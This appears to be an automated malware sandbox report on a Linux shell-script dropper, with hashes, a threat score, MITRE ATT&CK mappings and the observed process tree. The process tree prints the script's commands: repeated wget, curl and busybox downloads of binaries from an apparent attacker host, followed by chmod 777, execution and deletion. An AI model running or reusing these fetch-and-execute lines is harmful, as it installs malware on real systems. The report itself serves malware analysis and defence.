d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27

Analysis

max time kernel
150s
max time network
128s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/10/2024, 02:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27.sh
Size 10KB
Sample241029-dgkldatcld
SHA256 d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27
MD5 4515abd1275dc3eceeb736e5d2ef6c9e
SHA1 b76d89be73dc7d541fbebe1c8093aab616ebde4b
SHA512 abb712cadfa5f000388b10dc965825967829aa3e988cd0b7ac0f40a6855810e2be7ed485691919c650b2f605d3ebd940c7d9c0e3eb84b8d05aac9c4b00396340
SSDEEP 96:Y04QL7s7w7zow1F1VXL828m8q3LzsnUrXHLQ3p3B3x5RULJheU6yiTvNLJhWLG2n:7DKwlCjSLLzCqVLzD
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 19 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
872	chmod
889	chmod
903	chmod
787	chmod
822	chmod
830	chmod
881	chmod
910	chmod
931	chmod
814	chmod
728	chmod
737	chmod
766	chmod
851	chmod
896	chmod
917	chmod
924	chmod
938	chmod

Executes dropped EXE 19 IoCs

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 59 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
930	busybox
756	curl
763	busybox
877	wget
913	wget
799	curl
821	busybox
888	busybox
900	curl
927	wget
713	curl
829	busybox
907	curl
923	busybox
928	curl
812	busybox
818	wget
834	wget
935	curl
732	wget
741	wget
848	busybox
878	curl
736	busybox
777	curl
893	curl
920	wget
792	wget
921	curl
748	wget
783	busybox
826	wget
895	busybox
772	wget
819	curl
937	busybox
744	busybox
909	busybox
868	busybox
880	busybox
902	busybox
707	wget
734	curl
914	curl
742	curl
906	wget
861	curl
725	busybox
839	curl
856	wget
934	wget
892	wget
943	curl
827	curl
885	wget
916	busybox
942	wget
886	curl
899	wget

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed	curl
File opened for modification	/tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru	curl
File opened for modification	/tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x	curl
File opened for modification	/tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed	curl
File opened for modification	/tmp/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI	curl
File opened for modification	/tmp/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg	curl
File opened for modification	/tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ	curl
File opened for modification	/tmp/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6	curl
File opened for modification	/tmp/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI	curl
File opened for modification	/tmp/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi	curl
File opened for modification	/tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru	curl
File opened for modification	/tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd	curl
File opened for modification	/tmp/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX	curl
File opened for modification	/tmp/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v	curl
File opened for modification	/tmp/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl	curl
File opened for modification	/tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x	curl
File opened for modification	/tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ	curl
File opened for modification	/tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd	curl
File opened for modification	/tmp/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo	curl

/tmp/d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27.sh
/tmp/d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:702
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:707
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:725
- /bin/chmod
  chmod 777 CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  ./CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  PID:731
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - System Network Configuration Discovery
  PID:732
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - System Network Configuration Discovery
  PID:736
- /bin/chmod
  chmod 777 WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  ./WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  PID:740
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - System Network Configuration Discovery
  PID:741
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod 777 Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  ./Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  PID:747
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - System Network Configuration Discovery
  PID:748
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - System Network Configuration Discovery
  PID:763
- /bin/chmod
  chmod 777 HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  ./HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  PID:771
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - System Network Configuration Discovery
  PID:772
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - System Network Configuration Discovery
  PID:783
- /bin/chmod
  chmod 777 3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  ./3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm 3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  PID:791
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - System Network Configuration Discovery
  PID:792
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - System Network Configuration Discovery
  PID:812
- /bin/chmod
  chmod 777 YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  ./YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  PID:816
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - System Network Configuration Discovery
  PID:818
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - System Network Configuration Discovery
  PID:821
- /bin/chmod
  chmod 777 zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  ./zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  PID:825
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - System Network Configuration Discovery
  PID:826
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - System Network Configuration Discovery
  PID:829
- /bin/chmod
  chmod 777 gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  ./gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  PID:832
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - System Network Configuration Discovery
  PID:834
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - System Network Configuration Discovery
  PID:848
- /bin/chmod
  chmod 777 PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  ./PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - System Network Configuration Discovery
  PID:868
- /bin/chmod
  chmod 777 RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  ./RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - System Network Configuration Discovery
  PID:880
- /bin/chmod
  chmod 777 BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  ./BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  PID:884
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - System Network Configuration Discovery
  PID:885
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/chmod
  chmod 777 QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  ./QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - System Network Configuration Discovery
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/chmod
  chmod 777 6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  ./6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm 6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  ./Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - System Network Configuration Discovery
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  ./WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:916
- /bin/chmod
  chmod 777 CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  ./CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/chmod
  chmod 777 zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  ./zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/chmod
  chmod 777 Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  ./Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - System Network Configuration Discovery
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  ./HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:943

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru

Path /tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ

Path /tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512